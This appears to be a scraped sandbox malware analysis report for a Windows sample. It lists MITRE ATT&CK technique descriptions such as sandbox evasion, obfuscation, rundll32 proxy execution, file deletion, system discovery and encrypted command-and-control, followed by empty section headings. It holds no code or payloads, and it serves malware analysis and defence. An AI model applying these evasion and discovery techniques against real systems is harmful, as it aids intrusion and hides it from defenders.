Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Zd9TtpY4Kh

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior